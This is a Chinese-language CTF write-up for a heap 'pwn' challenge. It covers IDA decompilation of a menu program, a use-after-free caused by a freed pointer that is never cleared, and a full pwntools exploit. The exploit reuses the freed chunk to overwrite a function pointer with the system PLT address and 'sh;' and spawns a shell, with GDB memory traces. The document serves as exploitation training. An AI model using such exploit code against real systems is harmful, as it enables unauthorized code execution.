跟hacknote一样的做法,但是有所不同。
Checksec & IDA
也是一样的保护机制,直接打开IDA看一眼
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3[4]; // [esp+8h] [ebp-10h] BYREF
v3[1] = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( 1 )
{
while ( 1 )
{
puts("1.create");
puts("2.edit");
puts("3.delete");
puts("4.show");
putchar(58);
__isoc99_scanf("%d", v3);
if ( v3[0] != 2 )
break;
edit();
}
if ( v3[0] > 2 )
{
if ( v3[0] == 3 )
{
del();
}
else if ( v3[0] == 4 )
{
show();
}
else
{
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3[0] != 1 )
goto LABEL_13;
create();
}
}
}
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax
printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 )
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = (char *)malloc(8u);
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*(_DWORD *)page = 1868654951;
v2[4] = 0;
*((_DWORD *)page + 1) = echo;
puts("The init page");
return ++i;
}
}
}
return result;
}
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}
unsigned int del()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > i )
puts("NO PAGE");
else
free((&page)[v1]);
return __readgsdword(0x14u) ^ v2;
}
int __cdecl NICO(char *command)
{
return system(command);
}
主要的函数有:
main/create/show/del/edit/NICO
其中NICO是后门函数,提供了一个system。
显然是一个菜单程序,我们运行然后gdb调试看看。
发现与hacknote相比,我们不能指定堆的大小,并且无法直接更改堆0的内容。
但是我们可以释放堆0。
可以发现edit函数中的if是<0而不是<= 0。并且del函数中没有置零指针。导致了UAF漏洞。
EXP:
利用思路很简单,我们只需要申请一次堆0,然后删除一次堆0,再申请一次堆,因为系统短时间内不会直接回收堆的内存,所以我们申请到的堆1其实就是堆0,我们只需要往堆1里面写入指向shell函数的指针,即可getshell。
from pwn import *
Locale = 1
if Locale == 1:
io = process('./NUAF')
else:
io = remote('1.14.71.254',28674)
elf = ELF('./NSS_Pwn')
context(arch='i386', os='linux', log_level='debug')
system = 0x80484E0
def add_chunk():
io.recvuntil(b':')
io.sendline(b'1')
def edit_chunk(index, string):
io.recvuntil(b':')
io.sendline(b'2')
io.recvuntil(b'page\n')
io.sendline(str(index))
io.recvuntil(b'strings\n')
io.sendline(string)
def del_chunk(index):
io.recvuntil(b':')
io.sendline(b'3')
io.recvuntil(b'page\n')
io.sendline(str(index))
def show_chunk(index):
io.recvuntil(b':')
io.sendline(b'4')
io.recvuntil(b'page\n')
io.sendline(str(index))
# 先创建一个chunk 0
# 由于edit不能直接编辑chunk0,因为 if ( v1 <= 0 || v1 > i )
# 但是由于系统不会直接回收内存空间,并且free后并没有将指针置0
# create函数创建的chunk是不能自定义的,但是我们只要free后再申请一次,它就会把之前的chunk给我们复用
# 但是由于我们不能直接编辑chunk0,但是chunk0现在被page1所调用,因此我们只需要使用edit写入page1 sh并show_page即可getshell
add_chunk()
del_chunk(0)
add_chunk()
edit_chunk(1, b'sh;\x00' + p32(system))
show_chunk(0)
io.interactive()
使用GDB一步一步追踪内存:
首先申请一个堆。add_chunk()
可以发现程序申请了0x10大小的堆,
堆中存放了echo函数的地址,而echo函数调用了puts函数打印字符串s。
然后释放堆。del_chunk(0)
可以发现程序free了刚才申请的堆,将它暂时存放进了tcache。
再申请一次堆。也就是Page 1 add_chunk()
程序复用了刚才释放的堆,也就是堆0。
但是我们发现堆0中什么都没有储存。
将shell和system送入堆。edit_chunk(1, b'sh;\x00' + p32(system))
可以发现堆中内容再次改变,其中0x80484E0是system的plt表地址,3B6873则是sh与\x00。
如果我们不删除堆0,直接更改堆1的内容为b'sh;\x00' + p32(system),还能getshell吗?
实际上是不行的,虽然会创建第二个堆,并且内容和0一模一样,但是会产生一个死循环,让程序永远卡在重复显示菜单。
我也不是很清楚为什么会这样,但是如果使用了UAF漏洞就不会产生死循环这种问题。